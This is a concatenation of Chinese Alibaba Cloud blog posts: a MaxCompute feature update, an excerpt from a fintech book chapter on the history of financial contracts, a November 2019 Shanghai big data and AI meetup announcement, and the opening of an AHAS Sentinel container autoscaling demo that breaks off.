        本次所要介绍的MaxCompute产品近期的发布情况主要包括三个部分,首先是近几个月已经陆续发布上线,并且产品文档已经完备的功能,希望希望通过本次介绍让开发者能够更好地了解这些新的功能;其次是目前MaxCompute在线上所正在做的大版本升级中已经实现的一批灰度升级项目,本次也会对于其中一些比较成熟的功能进行分享;最后就是一些即将面向更大规模的用户进行发布的功能,也就是目前还处于定向内测阶段的功能。

        新Region开服:西南成都节点正式开服、国际Region提供Spark服务

        随着阿里云西南成都节点的正式开服,大数据计算服务MaxCompute也正式在西南成都节点开服售卖。与此同时,MaxCompute也提供了很多国际的Region,阿里云根据用户需求的强烈程度优先在香港、德国、新加坡、印度和美西这五个国际Region推出了Spark服务。

        image.png

        新功能:SQL-参数化视图

        MaxCompute近期发布上线的版本围绕着SQL核心功能的一些细节做了大量的优化和提升,其中一点就是参数化视图。MaxCompute传统的视图(VIEW)中实现了一定的封装与重用,但是并不接受调用者传递的任何参数,例如:调用者无法对视图读取的底层表进行数据过滤或传递其它参数,导致代码重用能力低下。MaxCompute近期发布上线的版本的SQL引擎支持带参数的视图,支持传入任意表或者其它变量来定制视图的行为,从而增强了视图的可用性和复用度。

        image.png

        新功能: SQL-UDTF/UDAF支持动态参数

        新发布的MaxCompute版本的SQL能够支持UDF相关的动态参数。如下图中的代码所示,其中含有一个命名为JsonTuple的UDTF。这里JsonTuple的业务需求就是首先读取一个JSON串,其中包含了一系列JSON内容,并且需要解析其中某些节点的信息。

        image.png

        面对像JsonTuple这样的函数设计,虽然给定了一个JSON,但是可能需要根节点的参数,也可能需要根节点+子节点或者多个子节点的参数去提取并解析JSON字符串中的信息,此时就造成了函数的不确定性,因此函数最好能够支持用户动态的参数输入,也就是可以根据用户的动态参数输入提取相应的信息。MaxCompute的UTDF和UTAF在参数列表中支持使用*的模式,表示接受任意长度、任意类型的输入参数,从而满足了上述场景的需求。

        新功能: SQL-UDT支持资源(Resource)访问

        User Defined Type,简称UDT,它属于最近几个版本MaxCompute的SQL里面推出的比较新的功能,目前应用也不是非常广泛。UDT是MaxCompute 2.0之后主张使用的NewSQL能力,其允许在SQL中直接引用第三方语言的类或者对象,获取其数据内容或者调用其方法。目前,MaxCompute的SQL中的UDT提供的是对于Java UDT的支持。举例而言,如果想要在MaxCompute中获取整数中的最大值,通常需要自己写一个UDF函数并通过其他语言实现出来,而其实在像Java这样的高级语言中的一些内置方法就能够实现,因此可以简单地使用Select Java库中的一个方法来获得相应的能力。这是之前所发布的UDT本身的能力,而今天要发布的新特性则是UDT对于MaxCompute中资源访问的支持。MaxCompute中有很多种对象,其中一种就是资源,比如一些数据文件。MaxCompute可以使用SQL通过Resource读取文本文件,也可以通过Set参数的方式将自定义的JAR作为UDT能够直接访问的一个库,并在UDT当中使用用户自定义的第三方库。

        image.png

        新功能:SQL-UDF支持分区裁剪

        MaxCompute本身有大量的分区表,在分区的使用中一个很重要的优化点就是通过分区裁剪的方式在查询中过滤分区。在过滤分区的时候,有时需要使用一些自定义的逻辑,通过一些自定义的功能来确定分区的范围。当增加一个UDF时往往会发生全表扫描,这是因为在提交查询的时候还不能确定提交的分区到底是哪个,因此会发生全表扫描,进而带来比较高的费用和更重的负载。

        image.png

        新发布的MaxCompute版本中的SQL已经能够支持UDF分区裁剪的能力了。其逻辑是当提交的SQL存在UDF的时候,会首先将UDF单独提取出来执行,将UDF的执行结果拿到之后再和原来的查询语句进行拼装再提交。这样一来,当存在动态不确定的信息时,首先会解析动态信息,再确定分区范围,从而进行分区裁剪,尽量减低数据扫描所产生的费用。其开发方式就是在UDF中加一些参数,就能够使得UDF支持分区裁剪。

        新功能:SQL-生成建表DDL语句功能

        很多开发者都有将项目中数据表的DDL导出来的需求,新版本的MaxCompute也提供了兼容Hive的SHOW Create table + 的方式。从下图中的案例也可以看出,使用SHOW Create table + 之后就能够获得该表的DDL的脚本,通过这种方式就能够实现重建表或者做表结构备份的工作。

        image.png

        新功能: SQL-支持指定表的列默认值

        新版本的MaxCompute中也支持了指定表的列默认值。其实熟悉大数据发展历程的同学们都应该有所了解,数据库中存在很多比较完善技术,比如在校验机制、约束条件上都提供了各种默认值可供开发者选择。而大数据技术在这些方面所做的远远不够,目前的发展趋势是在数据的质量和数据的校验等方面工作中,大数据技术越来越靠近数据库技术。在MaxCompute最新的版本发布中提供的DEFAULT VALUE就允许了用户创建数据表的时候去指定默认值。

        image.png

        在上图的代码示例中,创建了一个表T,表T中包含了a、b两列,这两列的数据类型都是bigint,并且a的默认值设为10。当向这个表中插入数据记录并且只对于字段b进行插数据的时候,MaxCompute会自动地在结果当中将a的值按照默认值补齐,其等效于同时在a列中插入10并且在b列中插入100。这样的功能在很多场景下用处还是比较大的,比如某些字段默认设置为0或者为空的情况。

        新功能: SQL-支持LIMIT OFFSET

        之前的时候,很多用户也有这样的一个呼声,就是希望在MaxCompute的SQL上面做到像MySQL、PG这些数据库一样的分页功能,能够定位到在多少行之后取多少行数据,这样的功能在数据库中是非常通用的。以前,在MaxCompute的SQL里面通过为每一行数据打一个唯一标示Row Number,再用Between And这样的方式来变相地实现分页功能。而在新版本的MaxCompute中,SQL本身就已经原生地支持了LIMIT OFFSET的语法,可以更加容易地实现分页的需求。

        image.png

        新功能:SQL-新增内置函数JSON_TUPLE、EXTRACT

        接下来介绍MaxCompute的SQL中两个比较实用的函数——JSON_TUPLE和EXTRACT。MaxCompute本身在之前对于字符串的处理只有一个getJsonObject()内建函数,而只有这样的一个函数是比较痛苦的,因为在构建JSON串的时候往往需要多次调用这个内建函数来获取某个节点的值。

        image.png

        而新增的JSON_TUPLE函数则解决了这些问题。使用JSON_TUPLE首先可以获得一个JSON字符串,该函数的参数则可以是多个动态的参数,比如想要获取10个节点的值就可以带10个参数,而且还适合使用嵌套式数据,因此JSON_TUPLE将来也会成为开发者使用较多的内建函数。此外,新版本MaxCompute的SQL中还支持了EXTRACT函数,能够按年、按月、按日、按小时、按分钟来截取日期。因为对于日期的处理也属于高频操作,因此EXTRACT函数也将会被高频地使用。

        新功能-分区管理

        除了前面提到的MaxCompute在SQL中的一些增强功能之外,新版本的MaxCompute还提供了一些其他的能力,比如分区管理的能力。在分区管理部分,一个比较重要的场景就是由于开发者往往喜欢使用较多的分区,而当数据量大的时候可能会造成多级嵌套分区,因此表的分区数量就会非常庞大。而MaxCompute本身对于分区数量存在一个上限,当数据分区过多的时候就需要将历史过往的分区进行合并,并且删除不必要的分区。

        image.png

        分区管理的最佳实践就是在数据比较“热”的情况下,分区切分得可能会比较细,当数据沉淀时间比较长的时候,过往的历史数据被访问的频率就会比较低,因此可以通过分区归并的方式减少分区的数量。过去删除分区的时候也是比较痛苦的,需要每次通过drop partition来删除一个分区,而现在MaxCompute在drop partition命令里面也支持了一次删除多个分区的能力,可以通过一次操作删除多个分区。

        新功能-预付费资源监控报警

        预付费资源监控报警是MaxCompute近期发布的一个新功能。阿里云MaxCompute的很多用户使用的都是预付费的固定CPU大小的资源组,在这种场景下,用户往往会更加关注购买的资源是否过多,在业务高峰期能否将其充分地利用起来,是否需要需要扩容或者缩容等。与此同时,用户还需要对于一些关键任务进行监控,比如在作业排队比较严重,产生积压的情况时,也希望能够通过监控报警系统获得排队积压信息,并且及时告警,从而更加利于人工及时进行干预,保证当核心业务出现问题时能够得到及时处理。

        image.png

        MaxCompute所提供的预付费资源监控报警能力基于阿里云所提供的云监控服务,并且结合了配额组CPU使用量、作业等待等待数、内存使用量、整体CPU使用率等一些关键指标,通过对以上这些指标进行规则配置,就能实现对于关键事件的短信通知以及实时告警,从而帮助用户更好地管理和使用资源。

        新功能-IP白名单支持IPV6

        目前,IPV6已经成为阿里云整体都会支持的能力,而MaxCompute本身也支持了IPV6。对于IP白名单这个安全特性而言,过去MaxCompute支持IPV4,目前也扩展支持了IPV6,使用方式与原本的IPV4差异不大,通过白名单列表的设置就能够同时支持IPV4和IPV6。

        image.png

        新规格:预付费套餐(计算资源+存储资源)发布

        前面为大家介绍了MaxCompute在新版本的发布中的一些功能,接下来将为大家介绍MaxCompute的一种新规格。新版本的MaxCompute中推出了预付费套餐(计算资源+存储资源)的规格。对于MaxCompute而言,主要有两种付费形式,其中一种是按量付费,这种方式具有极致的弹性,并且能够自动伸缩;另外一种是按作业付费,这种方式比较符合期望的财务支出,在性价比方面更具有优势。

        image.png

        本次新发布的预付费打包套餐和之前的固定资源配额都属于固定规格预付费方式。预付费套餐的售卖方式为混合付费,在开通时以包年包月方式购买计算资源(主要为CU)和存储资源。使用时,公网下载流量和超出的存储容量按使用量收费。总体而言,预付费套餐相当于是对用户的优惠套餐,相比于企业客户在线下自行搭建的大数据常用配置的计算和存储规模,阿里云本次所推出的预付费套餐将会提供一个十分具有竞争力的价格,这样一来既能够保证企业每月的财务支出比较稳定,同时也能够提供较高的性价比。

        体验优化:文档持续优化及最佳实践指引

        MaxCompute团队一直以来都非常注重产品文档的质量和体验,也在进行着持续地优化,并在社区中也和广大的开发者保持着密切的交流和互动,获取了开发者在MaxCompute产品使用以及产品如何应用到生产的过程中的一些需求。MaxCompute团队近期也将一些重点的、高频的问题沉淀下来,形成了文档化、案例形式的实践指导,发布到了官网上面。

        image.png

        这些文档包含了如何基于MaxCompute构建和优化数据仓库,同时也提供了一些数字化运营的具体案例,比如如何基于MaxCompute搭建互联网在线的运营分析平台。此外,因为Python生态广受欢迎,开发者也是人数众多,因此PyODPS也受到了很多Python开发者的支持,通过前一个阶段的反馈,MaxCompute团队也发现PyODPS在文档方面存在一些不足之处,因此近期也做了专项整理。MaxCompute团队整理了PyODPS的一些指导文档和具体示例,大家可以到官网上去查看最新发布的指导文档和案例。

        新功能内测:元数据服务Information_Schema

        前面分享的是MaxCompute新版本中的一些线上可用的功能,而在实际上还有一些功能目前处于内部定向邀请测试阶段,这些功能也是社区中很多开发者以及企业客户所非常看重的功能。这里为大家介绍两个处于内测阶段的功能,其中第一个就是元数据服务。MaxCompute本身是一个多租户的系统,用户使用的时候非常希望将更多的数据以更加友好的方式开放给使用者,能够帮助使用者自助地了解项目中的一些信息,其中比较常见的就是元数据信息,比如Table、Partition、Column、UDF、Resource、User等信息。以往这些信息都是通过命令的方式获取,但是当元数据量非常大的时候,很难通过这种方式去获得或者检索和过滤信息。而在传统的数据库技术领域有非常多的解决方案,因此MaxCompute中也提供了Information_Schema这样的一套服务,在遵循规范的基础之上也添加了一些MaxCompute特有的视图和字段,既能够满足开发者原有的一些使用习惯,也能够更好地结合MaxCompute本身的一些特点。

        image.png

        通过内建服务,MaxCompute首先会为用户提供一个Information_Schema库,用户可以去自助地去访问相关的元数据信息,比如项目中的表格、字段、视图、创建人、创建时间以及表的大小和生命周期等。通过这种方式就能够对于表的全局信息有一个很好的把控。与此同时,MaxCompute也会提供准实时的作业历史明细的查询能力。作业历史包含了日常的实例信息、SQL的作业明细等。以往是通过show instance等命令获取近期执行作业的信息,而如今可以通过对于视图的查询方式来获取本项目所有作业信息,并且能够通过一些过滤条件筛选出自己所需要的作业信息。所查询出来的信息则包括了项目类、项目名称、作业提交时间、作业状态、作业的SQL语句、数据的扫描量、复杂度以及资源消耗等信息,基于对于这些信息的统计就能够实现很多的性能优化以及诊断等相关工作。元数据服务Information_Schema这样的能力也会在近期面向全体云上用户进行公测。

        新功能内测:基于ActionTrail的行为审计日志服务

        另一个要介绍的处于内测阶段的功能就是基于ActionTrail的行为审计日志服务。对于阿里云MaxCompute团队而言,经常会有企业提交工单希望能够帮助他们检查一下某张表的数据被谁删除了,或者某个账号近期是否进行了数据下载。因此,MaxCompute也将要推出基于ActionTrail的行为审计日志服务,这款服务能够完整地记录项目内的用户操作行为,并通过接入阿里云Action Trail服务将MaxCompute用户行为日志实时推送给客户,满足客户实时审计、问题回溯分析等需求。被审计的行为包含了对于表的创建、删除以及对于表结构的变更、写入数据、下载数据等,而日志信息也包含了企业比较关心的客户端信息、操作的具体SQL内容、提交人、提交时间等关键信息。

        image.png

        ]]>
        带你读《金融科技:人工智能与机器学习卷》之一:金融变革新时代 Fri, 02 May 2025 09:39:04 +0800 点击查看第二章
        点击查看第三章
        金融科技:人工智能与机器学习卷

        image.png

        刘 斌 赵云德 著

        第1章

        金融变革新时代

        从原子到比特:金融契约的演变

        在人类漫长的演变过程中,金融的出现对人类文明的发展和整个社会的进步起到了至关重要的作用。可以毫不夸张地说,整个人类文明史就是一部金融史,人类最早的文字就是为了记录人们的金融交易而发明的,人类最早的写作行为就是古代西亚地区的人们为了记录金融契约而发明的,人类社会第一个有关时间和风险的复杂模型也和金融紧密相关。
        在人类历史上的金融变迁过程中,最关键的是记录各种交易信息的金融契约形式和内容的演变历程。这些金融契约的作用就是把交易相关的协议或合约记录下来。人类历史上记录金融契约的载体包括陶片、有刻痕的木棍和木块、密封的羊皮纸、印制的纸张,以及今天的电子文档。目前已知的人类历史上最早的金融契约是出现在距今3000多年前的美索不达米亚的贷款合约,这些贷款合约登记了借款人的姓名,以及他们所欠大麦的数量,如图1-1所示。

        image.png

        后来,在伊拉克发现的布拉(bulla,陶土球)记录了公元前8世纪的农业交易,如图1-2所示。这种布拉是一种空心陶土球,在布拉表面,合同各方可以写下金融契约的责权细节—包括支付金额、时间等。布拉的内侧则刻有代表交易的符记。陶土球外侧的文字和内侧的符记彼此相互验证。
        中国古代最早用青铜器来记录交易活动。1975年宝鸡市发现了一处周代的青铜器窖藏,其中的卫盉是周恭王时期铸造的盛酒器,该器盖内有铭文132个字,记述了裘卫与贵族矩伯进行土地交换的全过程,如图1-3所示。因为交换涉及土地转让,裘卫将此事向伯邑父、崇伯、定伯等执政大臣报告,由三有司(司徒、司马、司空)出息公证,主持田地移交仪式。裘卫为了将此事告诉其已经逝世的父亲,便制作了这个青铜器,祈求上苍和先祖保佑子孙能万年永远享用。
        在中国古代则用竹片、木简片来记载金融交易活动。《战国策·齐策》中记载战国时期孟尝君担任齐国相国时,问门下诸客:“谁习计会,能为文收责于薛者乎?” 冯谖署曰:“能!”孟尝君怪之,曰:“此谁也?”左右曰:“乃歌夫长铗归来者也。”孟尝君笑曰:“客果有能也,吾负之,未尝见也。”请而见之,谢曰:“文倦于事,愦于忧,而性懧愚,沉于国家之事,开罪于先生。先生不羞,乃有意欲为收责于薛乎?”冯谖曰:“愿之。”于是,约车治装,载券契而行。大意是孟尝君问门下门客谁能去薛地收债,其中一个叫冯谖的门客答应前往,并载券契而行,此处的券契就是当时记录借贷活动的金融契约,主要记录在竹片或木简片上,上面记载有放债的款项、利率,以及债权债务人双方的签字等。

        image.png

        image.png

        中国历史上发明的造纸术则推动了金融契约的革命性进步,此后纸张成为记录金融交易契约的主要载体并流传于世。在我国新疆地区发现的魏晋至唐后期的契约中,我们可以看到很多古代以纸张为载体的金融契约。此外在甘肃敦煌也发现了大量唐宋时期的契约,1960年出版的《敦煌资料》第一辑主要就是关于契约,共120余件,分为买卖、典租、雇佣、借贷和其他契约、文书5个部分。金融契约向纸质载体演变以后,金融契约的类型、内容和形式都得到了极大的丰富,在金融的发展演变过程中发挥了重要作用。
        1946年,世界上第一台电子数字式计算机在美国宾夕法尼亚大学正式投入运行,这台计算机的名字叫ENIAC,如图1-4所示。电子计算机的出现代表着人类正式从工业时代进入信息时代,相应地人类记录金融交易活动的各种金融契约也从原子时代进入比特时代。此后计算机的出现带来的互联网发展浪潮彻底改变了人们生活的各个方面,尤其是金融,人类第一台计算机改进后的最早使用者是保诚保险公司,1948年美国银行开始使用IBM604型计算机。这一切还只是开始,当金融契约进入比特时代之后,金融业面临的巨大变革才刚刚拉开序幕。

        image.png

        引爆点来临:互联网引发金融数字化

        计算机的发明是人类历史上的又一次飞跃,计算机在人类历史上的地位绝不亚于文字、货币、蒸汽机等这些重大发明,计算机应用的普及以及和现代通信技术的结合,推动了互联网技术的发展和移动互联网应用的普及,互联网向各个传统行业的渗透和普及真正带领人类进入了数字时代。
        在数字时代,人们生活的各个方面都可以在互联网上留下足迹,由此产生了大量的数据。IBM研究显示,目前人类每天产生的数据已经达到大约2.5艾(quintillion,10的18次方)字节,这意味着实际上90%的数据是在过去两年产生的。截至2017年6月,全球移动用户数达到77.2亿,手机超越电脑成为第一大上网终端。移动互联网发展推动脸书、推特、微信等社交媒体快速扩张,截至2017年6月,全球社交媒体活跃用户总数约为30.28亿,移动端活跃用户约为27.8亿。据IDC预测,2025年全球数据量将达到163ZB,比2016年创造出的数据量增加10倍;全球每天每个人与联网设备互动的次数近4800次,平均每18秒产生一次互动;全球数据的数据分析总量将增至5.2ZB,是原来的50倍。人类产生的数据量正以不可思议的速度增长,物联网、自动驾驶汽车、社交媒体、智能家居设备、可穿戴设备等将产生大量有价值的数据,这些数据将成为未来人类社会的重要基础资产。
        中国互联网经济的发展在过去二十年取得了非常明显的成就。一方面,网民数量规模位居全球首位,截至2017年12月,我国网民规模达7.72亿,超过美国和欧洲网民总和,网络普及率达到55.8%,超过全球平均水平(51.7%)4.1个百分点,超过亚洲平均水平(46.7%)9.1个百分点,如图1-5所示。

        image.png

        中国互联网经济的快速发展催生了百度、阿里巴巴、腾讯、搜狗等一大批互联网企业和平台,每天中国的网民通过这些平台产生大量的数据。微信数据报告显示,2017年9月微信日平均登录次数达9亿次,日发送消息次数达380亿次,语音次数为61亿次;百度积累了万亿量级的互联网网页数据,支持千亿级样本和参数,每天响应几十亿次搜索请求。百度拥有超过60亿的日搜索量,14款亿级用户APP和超过10亿的移动设备,可在底层建立10亿身份要素、数十亿全网设备数据、上千亿全网行为数据,拥有覆盖95%以上的中国网民的大数据能力。搜狗输入法日活用户达到3.3亿,日均语音请求量峰值超过3亿次。中国人每天通过搜狗输入法产生的中文输入达到900亿次。在2017年的双十一活动中,淘宝就产生了大量的数据,销售额达到2539亿,产生包裹13.8亿个,每秒处理交易25.6万笔。可以说,在过去近三十年里,除了改革开放带来的巨大经济成就,我们还搭上了互联网这趟高速列车,产生了一批在国际上具有影响力的互联网平台,加上我国庞大的互联网网民数量和完善的基础设施,产生了大量有价值的数据、音频、视频、图像、文字等数据,为我国大数据产业和人工智能技术的应用发展提供了基础。
        金融业在利用信息技术、拥抱互联网方面也是非常积极的,同时信息技术和互联网的发展也深刻影响着金融业。麦肯锡全球研究院的研究显示,中国已经成为消费驱动型数字经济的全球领导者。麦肯锡“中国行业数字化指数”揭示了中国存在着五类数字化水平相近的产业集群。在中国,信息和通信技术(ICT)、媒体和金融(产业集群1)等行业的数字化程度最高,如图1-6所示。

        image.png

        另一方面,随着金融业数字化水平的提高,金融机构在开展业务过程中积累了海量的高价值数据,其中包括客户身份、资产负债情况、资金收付交易等。以银行业为例,其数据强度高居各行业之首—银行业每创收100万美元,平均就会产生820GB的数据(波士顿咨询),如图1-7所示。截至“十二五”期末,主要银行业金融机构的网上银行、手机银行账户数达到21.6亿户,主要电子交易笔数替代率平均达到72.1%,累计发行金融IC卡21.1亿张。

        image.png

        因此,总体来看,随着信息技术的发展和互联网经济逐渐向传统产业渗透,我国凭借人口红利和良好的信息基础设施在数字经济时代占据领先优势,在微信、微博、淘宝、百度、搜狗等互联网平台上产生了海量的数据,这些海量数据都为人工智能技术的应用和发展创造了条件。同时,金融业在应用信息技术和数字化转型方面引领传统行业,并且金融业与数据有着天然的联系,我们的交易、转账、消费、购买等行为都会在金融机构后台留下数据,这也为金融业应用大数据和人工智能技术提供了有价值的海量数据。所以,在互联网经济的冲击下,传统经济逐渐向互联网经济转型,金融机构的业务也在从线下转到线上,业务流程也在向数字化转型,这一切都为金融大变革埋下了伏笔。

        新兴技术融合:开启金融大变革时代

        互联网时代的到来引发了一系列的技术革命,移动互联网、大数据、云计算、物联网、无人驾驶、可穿戴设备、人工智能、区块链等新兴技术的加快融合引领人类社会进入了数字革命时代。世界经济论坛创始人施瓦布在《第四次工业革命》一书中写道,“这次革命刚刚开始,正在彻底颠覆我们的生活、工作和互相关联的方式。无论规模、广度还是复杂程度,第四次工业革命都与人类过去经历的变革截然不同。”第四次工业革命最显著的特点就是多种新兴技术的融合对传统行业带来的变革,而金融业则首当其冲,移动互联网、大数据、云计算、人工智能和区块链等新兴技术的不断融合催生了金融科技的崛起,对传统金融业形成了革命性冲击,也开启了金融大变革时代的大幕。
        计算机和互联网在一开始就首先对银行业带来了冲击。互联网以其低成本、广覆盖和传播广泛的优势率先在银行业得到了应用,1994年4月,全球第一家通过互联网提供银行服务的银行—美国安全第一网络银行(SFNB,Security First Network Bank)成立。此后,1995年10月美国第一联合国家银行在互联网上开展业务。1996年2月,中国银行开始通过互联网提供银行服务信息。招商银行在1997年推出网上银行—“一网通”,建立起由企业银行、个人银行、网上证券、网上商城、网上支付组成的全方位金融服务体系。此后经过近20年的发展,互联网对金融业的颠覆和冲击进一步显现,PayPal、蚂蚁金服、京东金融、陆金所等新型互联网金融模式的陆续出现将互联网金融带向高潮,也引发了以P2P、股权众筹等互联网金融模式的爆发式增长。2017年,我国网络借贷行业成交量达到了28048.49亿元,网络借贷行业历史累计成交量突破6万亿大关。
        云计算的出现以全新的计算资源交付和使用方式作为出发点,从根本上颠覆了传统的信息技术,并对传统的金融信息基础设施带来颠覆性的影响,并进而影响金融机构内部资源配置和组织模式。云计算在金融领域的应用主要以金融云的形式出现,金融云通过提供科技支撑,使中小微金融机构更专注于金融业的创新发展,实现集约化、规模化与专业化发展,促进金融业务与信息科技的融合。在中国云计算市场中,阿里云市场优势明显,根据IDC报告显示,2017年上半年阿里云在中国公共云市场占有率为47.6%,为市场追随者的总和,也是市场第二位腾讯云的5倍。同时,根据计世资讯发布的研究报告,2016年中国金融云市场整体规模为43.4亿元,其中IaaS(基础设施即服务)市场占有率中,华为、云宏、九州云等厂商位居前列。在金融云PaaS(平台即服务)市场上,Red Hat 和Pivotal 以及BoCloud博云处于领先地位。云计算结合大数据以及人工智能技术,不仅改变了金融机构的IT架构,也使得其能够随时随地访问客户,为客户提供方便的服务,改变了金融行业的服务模式和行业格局。
        如果说互联网和移动互联网的普及和渗透彻底拉开了金融业变革的序幕,云计算整合了金融机构的传统IT系统,建立起全新的金融信息基础设施,那么大数据则是加快金融变革的催化剂。大数据技术的出现和应用彻底唤醒了金融体系内部沉淀下来的海量数据,金融机构可以借助大数据技术深入挖掘数据背后的价值,提升金融机构决策效率,精准应对市场变化,提高数据资产管理能力,更好地发现客户需求,实现精准营销。目前,大数据在金融行业应用广泛,覆盖了中央银行、商业银行、保险、证券投资等领域,可以说大数据技术已经渗透到了金融各个细分领域,同时也在征信、反洗钱、风控、智能投顾、银行贷款、第三方支付、保险定价等领域得到了广泛的应用,并且为金融机构业务模式变革发挥了重要的推动作用。
        人工智能技术的突破则引领金融大变革走向高潮。自从近年AlphaGo打败了人类围棋高手柯洁以来,有关人工智能取代人类的争论和观点就不绝于耳。毫无疑问,人工智能技术会对人类社会带来重大变革,其中金融领域首当其冲。目前,我们可以看到人工智能对金融领域的冲击已经开始显现出来,尤其是近年来人工智能技术的广泛应用对传统金融业务模式和业务流程带来的冲击,已经让我们感受到了人工智能改变金融业的威力。2017年年初,高盛宣布股票交易员将由最高峰时的600人裁减到2人,大部分工作将由机器完成。同年4月管理近5万亿美元资产的黑石集团宣布计划裁员400人,将用人工智能技术取而代之。无论是传统金融机构还是新兴的金融科技企业都将人工智能作为未来重要的战略方向,纷纷在人才、技术、资金方面加大投入力度,同时加强与外部的合作,争取在未来智能金融的发展中获得先机。
        区块链有可能是未来变革金融业的主要推手。作为比特币底层技术的区块链,因为具有分布式、去中介化、去信任、透明可靠、不可篡改以及安全等诸多特性,近年来受到了金融机构的高度重视。区块链未来的潜力在于其能够重构信用创造机制,打破组织边界,降低监管成本,在某些领域可以大幅提高金融效率。目前,全球范围内各大知名高科技企业和金融机构,如谷歌、IBM、高盛、摩根大通、桑坦德银行、BBVA以及国内的工/农/中/建四大行、招商银行、平安银行等均在区块链领域进行了布局,探索在金融领域利用区块链技术改造传统的金融业务。目前,区块链在贸易金融(中国建设银行浙江省分行)、跨境支付(瑞波、招商银行)、资产证券化(京东金融)、去中心化交易所(纳斯达克LinQ)、银团贷款(Fusion LenderComm)、债券发行(澳大利亚联邦银行)等领域得到了应用,区块链目前在金融领域的应用还处于初级阶段,部分应用案例还没有得到大规模推广。但是,我们可以预见到在未来5~10年,区块链技术的不断成熟和完善会对金融业传统运作模式带来重大影响和冲击。

        ]]>
        阿里云大数据+AI技术沙龙上海站 Fri, 02 May 2025 09:39:04 +0800 阿里云 EMR 团队,致力于为客户提供开源大数据 Hadoop/Spark 生态基于云端的一站式,高可用弹性计算平台。EMR 团队在国内运营最大的 Spark 社区(钉钉群号:21784001,团队群号:HPRX8117),为了更好地传播和分享业界最新技术和最佳实践,现在联合Intel及开源社区同行,打造一个纯粹的技术交流线下沙龙《大数据 + AI》,定期为大家做公益分享。

        报名链接:https://www.slidestalk.com/m/61
        或微信扫码:image.png

        时间:2019年11月16日(周六)下午
        地点:上海市徐汇区裕德路126号(氪空间徐家汇社区)

        周边交通:
        1号线 上海体育馆站8号口 步行10分钟
        4号线 上海体育馆站4号口 步行10分钟
        3号线 宜山路站2号口 步行13分钟
        9号线 宜山路站3号口 步行11分钟

        1. 活动日程
          13:00 - 13:30 活动签到

        13:30 - 13:40 开场白 / 暖场
        13:40 - 14:20 基于Spark打造高效云原生数据分析引擎
        14:20 - 15:00 使用分布式自动机器学习进行时间序列分析
        15:00 - 15:30 茶歇 & 自由交流
        15:30 - 16:10 云上大数据的存储方案设计和选择
        16:10 - 16:50 从Python 到Java ,Pyboot加速大数据和AI的融合
        16:50 - 17:00 活动抽奖环节
        17:00 - 与EMR / Intel团队技术专家自由交流讨论。

        1. 活动福利
          报名时请加入Apache Spark中国技术交流社区钉钉群,相关资料会在钉钉群内共享。

        钉钉群:二维码.JPG

        现场签到处,会提供100份礼品,先到先得;每个议题后也都有隐藏礼物,更有和专家大咖一对一交流机会哦!

        3. 议题看点
        议题一:
        基于 Spark 打造高效云原生数据分析引擎

        辛庸,阿里巴巴计算平台事业部 EMR 技术专家。Apache Hadoop,Apache Spark contributor。对 Hadoop、Spark、Hive、Druid 等大数据组件有深入研究。目前从事大数据云化相关工作,专注于计算引擎、存储结构、数据库事务等内容。

        议题简介:
        由阿里巴巴 EMR 团队提交的 TPC-DS 成绩在九月份的榜单中取得了排名第一的成绩。这个成绩背后离不开 EMR 团队对 Spark 执行引擎持续不断的优化。
        本次分享将选取一些有代表性的优化点,深入到技术细节做详细介绍,包括但不限于动态过滤、CBO增强、TopK排序等等。

        议题二:
        **使用分布式自动机器学习进行时间序列分析
        **
        喻杉,Intel大数据分析团队软件工程师。她目前专注于在analytics-zoo大数据和人工智能平台上开发自动机器学习组件。在加入intel前,她在浙江大学获得了学士和硕士学位。

        内容简介:
        对于时间序列预测搭建机器学习应用的过程非常繁琐且需要大量经验。为了提供一个简单易用的时间序列预测工具,我们将自动机器学习应用于时间序列预测,将特征生成,模型选择和超参数调优等过程实现自动化。我们的工具基于Ray(UC Berkeley RISELab开源的针对高级AI 应用的分布式框架,并作为Analytics zoo(由intel开源的统一的大数据分析和人工智能平台)的一部分功能提供给用户。

        议题三:
        云上大数据的存储方案设计和选择

        姚舜扬,花名辰山,阿里巴巴计算平台事业部 EMR 高级开发工程师,目前从事大数据存储方面的开发和优化工作;苏昆辉,花名抚月,阿里巴巴计算平台事业部 EMR 高级工程师, 曾就职于华为、网易. Apache HDFS committer. 对Hadoop、HBase等有深入研究, 对分布式存储、高性能优化有丰富经验. 目前从事大数据云化相关工作.

        议题简介:
        上云拐点已来,开源大数据上云是业界共识。如何满足在云上低成本存储海量数据的同时又实现高效率弹性计算的潜在需求?放眼业界,都有哪些成熟存储方案和选择?各自适用的存储和计算场景是什么?背后的技术关键和考虑因素都有哪些?欢迎大数据技术爱好者面对面交流和探讨!

        议题四:
        从Python 到Java ,Pyboot加速大数据和AI的融合

        郑锴,花名铁杰,阿里巴巴高级技术专家,Apache Hadoop PMC,Apache Kerby 创立者。深耕分布式系统开发和开源大数据多年,目前专注于在阿里云上提供更好用更有弹性的 Hadoop/Spark 大数据平台; 孙大鹏,花名诚历,阿里巴巴计算平台事业部 EMR 技术专家,Apache Sentry PMC,Apache Commons Committer,目前从事开源大数据存储和优化方面的工作;

        议题简介:
        Python 代表机器学习生态,而以 Hadoop/Spark 为核心的开源大数据则以 Java 为主。前者拥有数不清的算法库和程序,后者承载着海量数据和大量的企业应用。除了 SQL 这个标准方式和各种五花八门的协议接口,还有没有更高效的一手数据通道,将两个生态对接起来,乃至深度融合?Pyboot 是我们在这个方向上的探索。有兴趣的同学欢迎现场观摩演示和技术交流。


        image.png

        ]]>
        容器服务&&AHAS Sentinel 弹性 Demo Fri, 02 May 2025 09:39:04 +0800 应用高可用服务 AHAS(Application High Availability Service)是一款阿里云应用高可用服务相关产品。只要容器服务中的 Java 应用接入了 AHAS 应用流控组件后,用户的应用实例就可以自动根据 AHAS Sentinel 收集的指标(如 QPS、平均响应时间等)进行弹性伸缩,使得系统可以自动根据实时的流量情况进行扩缩容,保证系统的可用性。

        0. 安装 alibaba-cloud-metrics-adapter

        可以直接在容器服务控制台 应用目录 中安装 alibaba-cloud-metrics-adapter。

        1572500649423-2884150b-aece-4c7f-88b0-f1c6ae223ea3.png

        相关 repo:https://github.com/AliyunContainerService/alibaba-cloud-metrics-adapter

        1. 安装 AHAS Sentinel Pilot

        AHAS Sentinel 应用流控 pilot 插件可以自动将 AHAS Sentinel 注入到用户的 Java 应用中,用户无需修改任何代码,就能借助 AHAS 对 Java 应用进行全方位进行系统防护,方便针对系统进行流量管控、服务降级等操作。为了方便演示,我们首先安装 AHAS 应用流控组件 ack-ahas-sentinel-pilot。

